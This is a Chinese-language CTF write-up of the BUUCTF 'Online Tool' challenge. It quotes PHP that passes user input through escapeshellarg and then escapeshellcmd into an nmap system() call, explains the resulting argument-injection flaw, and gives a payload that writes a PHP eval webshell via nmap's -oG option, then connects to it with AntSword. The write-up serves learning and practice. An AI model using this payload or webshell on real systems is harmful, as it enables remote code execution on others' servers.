首页 > 其他分享 >BUUCTF [BUUCTF 2018]Online Tool

BUUCTF [BUUCTF 2018]Online Tool

时间:2023-09-04 09:46:03浏览次数:58  
标签:shell 函数 Tool 转义 BUUCTF 2018 escapeshellcmd escapeshellarg

首先访问网站得到需要分析的代码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码中,这两个函数比较特殊:

escapeshellarg()
escapeshellcmd()

这两个函数按代码里这样的顺序使用,是会产生漏洞的,反之就不会。

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

构建payload:?host=' <?php eval($_POST["hack"]);?> -oG hack.php '

由于chdir($sandbox);,需要改变目录访问hack.php

使用蚁剑连接http://bde50f99-4973-4bb8-8b04-4e7d4aa8e902.node4.buuoj.cn:81/65903a0d4b9d58bb6df5c5544f093f39/hack.php

找到flag{af458f7c-b0cf-409c-ace9-0ce5945ff735}




参考链接:
https://blog.csdn.net/weixin_44348894/article/details/105520481
PHP escapeshellarg()+escapeshellcmd()之殇

标签:shell,函数,Tool,转义,BUUCTF,2018,escapeshellcmd,escapeshellarg
From: https://www.cnblogs.com/darkcyan/p/17676088.html

相关文章

  • 设置CITECT2018R2过程分析器趋势笔标签的底色和文字颜色
    这一篇我在新浪博客也记录过。这里再记录一遍。在前面练习的基础上,可以在每一个趋势笔设置语句中写下面的脚本hPen.TrendCursorLabelFillColor=255'标签填充颜色hPen.TrendCursorLabelTextColor=0 '标签文字颜色颜色数值遵循VB语言中RGB颜色计算的数值。......
  • 华为云classroom赋能 | Toolkit系列插件DevSecOps助力开发者提速
    一前言DevOps的概念想必大家都不陌生,它是一组过程、方法与系统的统称,通过它可以对交付速率、协作效率、部署频率速率、质量、安全和可靠性等进行提升改善。相比传统的软件开发模式,它是一种工作方式和文化的转变,把开发者和IT运营人员衔接起来,紧紧围绕产品生命周期配合,优化改进交付效......
  • 设置CITECT2018R2过程分析器游标的粗细和颜色
    这一篇在新浪博客发表过,这里再记录一遍,新浪博客地址CITECT2018R2过程分析器设置游标粗细和颜色_来自金沙江的小鱼_新浪博客(sina.com.cn)在前一个练习基础上设置一下游标的粗细和颜色,让其更加醒目。在过程分析器初始化脚本中设置游标位置添加后面设置游标粗细和颜色hCursor.w......
  • 【很难啊、拆分数、观察】P6944 [ICPC2018 WF] Gem Island
    简要题面:求\(n+d\)的\(n\)正整数拆分中,最大的\(r\)个数之和的期望。首先是典中典:KeyObservation:最后的形态\(a_1\toa_n\)的概率都是一样的。Proof:考虑组合数\(\binom{d}{a_1-1,a_2-1.....,a_n-1}\)。然后我们每次在每一个\(a_i-1\)每次分裂有......
  • mall :hutool项目源码解析
    目录一、mall开源项目1.1来源1.2项目转移1.3项目克隆二、Hutool工具类库2.1Hutool简介三、源码解析3.1集成与配置3.1.1导入依赖3.1.2添加配置3.2核心工具类3.2.1AnnotationUtil使用:注解工具类3.2.2BeanUtil使用:JavaBean的工具类3.2.3CaptchaUtil使用:图形验证码3.2.4C......
  • 「突刺贯穿第二分块」P4117 [Ynoi2018] 五彩斑斓的世界
    很帅气!分块在线转离线,考虑每个块对于询问的贡献。维护块的max和tag分别代表最大值和减了多少。先考虑整块,\(max<2*x:\)每次暴力区间平移即可。否则对于\([1,x]\)全部加上\(x\)平移到\([x+1,x*2]\),然后区间整体减\(x\)即可。散块怎么做?暴力减,然后重构块......
  • 2018 ACM-ICPC 亚洲青岛区域网络赛
    A.LiveLove#include"bits/stdc++.h"usingnamespacestd;usingi64=longlong;voidsolve(){intn,m;cin>>n>>m;cout<<m<<''<<n/(n-m+1)<<'\n';}int......
  • citect2018R2过程分析器趋势笔标签加上工程单位显示
    这两天在家里学习练习了CITECT2018R2上过程分析器趋势笔标签上显示出工程单位,在新浪博客记录过一次,在这里也记录一下。建立一个unity程序,有两个变量,分别是流量和浓度,建立的过程不在这里记录。新建citect2018R2项目,配置IO设备指向unity模拟器,建立变量和趋势变量,过程也不在这里记录......
  • jdk 中的 keytool 的使用,以及提取 jks 文件中的公钥和私钥
    这里暂时只需要知道如何使用就可以了。首先是生成一个密钥,keytool-genkeypair-aliasfanyfull-keypassffkp123456-validity365-storepassffsp123456-keystorefanyfull.jks-keyalgRSA解释一下这里的选项,-alias密钥对的名称-keypass密钥密码-validity有效期,......
  • VChart中如何配置Tooltip (文字提示) 自动换行?
    在VChart中,您可以通过配置tooltip的formatter函数来实现Tooltip的自动换行。tooltip的formatter函数允许您自定义Tooltip的文本内容,因此您可以在该函数中处理并格式化Tooltip的文本。以下是一个示例,演示如何在VChart中配置Tooltip的自动换行:<template><div>......